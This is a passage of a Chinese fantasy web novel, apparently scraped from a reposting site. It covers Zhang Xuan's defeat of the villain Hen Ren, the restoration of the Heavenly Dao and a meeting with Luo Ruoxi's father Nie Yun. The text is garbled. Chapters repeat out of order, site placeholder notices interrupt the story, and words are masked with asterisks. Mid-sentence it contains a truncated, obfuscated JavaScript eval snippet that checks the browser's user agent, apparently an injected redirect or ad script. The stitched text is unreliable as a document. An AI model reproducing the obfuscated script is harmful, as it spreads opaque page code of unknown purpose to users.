容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第202章弥补过错 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第203章痴笑 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 